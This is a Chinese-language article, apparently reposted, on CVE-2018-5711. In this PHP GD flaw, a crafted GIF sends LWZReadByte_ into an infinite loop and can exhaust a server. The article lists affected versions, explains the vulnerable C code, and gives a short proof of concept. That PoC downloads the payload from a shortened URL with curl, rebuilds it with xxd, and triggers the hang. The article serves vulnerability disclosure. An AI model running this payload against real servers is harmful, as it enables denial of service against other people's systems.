php服务宕机,PHP漏洞|一张GIF图片就能让服务器宕机的PHP漏洞

原标题:PHP漏洞|一张GIF图片就能让服务器宕机的PHP漏洞

最近,台湾Web漏洞挖掘大牛Orange Tsai在对一些Web开发框架和程序实现模块进行安全审核的过程中,发现了一些有意思的漏洞。就比如说,这个PHP的CVE-2018-5711,它能用一张GIF图片就可导致服务器发生崩溃直至宕机,在现实中非常容易利用。在此,Orange Tsai简单地介绍了这个漏洞。

漏洞影响的PHP版本 包含以下PHP系列和其它所有PHP版本

PHP 5 < 5.6.33

PHP 7.0 < 7.0.27

PHP 7.1 < 7.1.13

PHP 7.2 < 7.2.1

漏洞细节 漏洞存在于文件ext/gd/libgd/gdgifin.c中,其中在LWZReadByte_函数中存在一个循环(while-loop):

do {

sd->firstcode = sd->oldcode =

GetCode(fd, &sd->scd, sd->code_size, FALSE, ZeroDataBlockP);

} while (sd->firstcode == sd->clear_code);

GetCode函数仅只是一个包装类,GetCode_才是真正的执行体:

static int

GetCode_(gdIOCtx *fd, CODE_STATIC_DATA *scd, int code_size, int flag, int *ZeroDataBlockP)

{

int i, j, ret;

unsigned char count;

...

if ((count = GetDataBlock(fd, &scd->buf[2], ZeroDataBlockP)) <= 0)

scd->done = TRUE;

...

} GetCode_ 会调用GetDataBlock来读取GIF图片中的数据:

static int

GetDataBlock_(gdIOCtx *fd, unsigned char *buf, int *ZeroDataBlockP)

{

unsigned char count;

if (! ReadOK(fd,&count,1)) {

return -1;

}

*ZeroDataBlockP = count == 0;

if ((count != 0) && (! ReadOK(fd, buf, count))) {

return -1;

}

return count;

}

以上就是涉及到的漏洞代码,你有发现一些端倪吗?

该漏洞依赖于从整形(int)到无符号字符(unsigned char)的类型转换。就像上述的:如果GetDataBlock_返回-1,则第400行中的scd->done将会被设置为True,并停止while循环。但是其定义的count是无符号字符,它总是从0到255的正数,所以这种循环停止动作是不会被触发执行的。

因此,最终结果就是,一张GIF图片就可以实现无限循环,导致服务器资源耗尽,直到崩溃宕机。

PoC

$ curl -L https://git.io/vN0n4 | xxd -r > poc.gif

$ php -r 'imagecreatefromgif("poc.gif");'

Infinite loop here...

由于现实网络中,很多服务器都会用GD图形的扩展库,对用户上传的图片作重新尺寸调整处理,所以该漏洞具有很强的现实危害。

后记 Orange Tsai后续会公开更多0-day和与该漏洞相关的内容。

漏洞参考:

https://bugs.php.net/bug.php?id=75571

http://php.net/ChangeLog-7.php

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5711

本文来源网络,侵立删!返回搜狐,查看更多

责任编辑:

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值